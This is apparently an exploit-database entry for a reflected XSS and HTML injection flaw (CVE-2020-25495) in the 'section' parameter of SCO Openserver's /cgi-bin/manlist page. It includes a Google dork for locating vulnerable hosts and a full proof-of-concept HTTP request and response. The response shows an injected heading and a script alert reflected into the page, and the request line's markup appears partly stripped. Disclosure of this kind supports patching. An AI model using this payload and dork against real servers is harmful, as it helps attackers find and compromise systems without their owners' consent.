# Exploit Title: SCO Openserver 5.0.7 - 'section' Reflected XSS # Google Dork: inurl:/cgi-bin/manlist?section # Discovered Date: 14/06/2020 # Author: Ramikan # Vendor Homepage: https://www.xinuos.com/products # Software Link: https://www.sco.com/products/openserver507/-overview # Affected Version: Tested on 5.0.7, 6 can be affected on other versions. # Tested on: SCO Openserver 5.0.7 & version 6 # CVE : CVE-2020-25495 ************************************************************************************************************************************* Vulnerability :Refelected XSS & HTML Injection ************************************************************************************************************************************* A reflected Cross-site scripting (XSS) vulnerability in Xinuo (formerly SCO) Openserver version 5 and 6 allows remote attackers to inject arbitrary web script or HTML tag via the parameter 'section'. Affected URL:http://host:8457/cgi-bin/manlist?section=">

hello

Affected Paramenter: section ************************************************************************************************************************************* POC ************************************************************************************************************************************* Request: ************************************************************************************************************************************* GET /cgi-bin/manlist?section=">

hello

HTTP/1.1 Host: 192.168.20.48:8457 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 ************************************************************************************************************************************* Response: ************************************************************************************************************************************* HTTP/1.1 200 OK Date: Thu, 03 Sep 2020 17:08:51 GMT Server: Apache/1.3.36 (Unix) mod_perl/1.29 Connection: close Content-Type: text/html;charset=ISO-8859-1 Content-Length: 2680 Manual section "><h1>hello</h1></P><script>alert(123)</script>

DOC HOME

SITE MAP

MAN PAGES

GNU INFO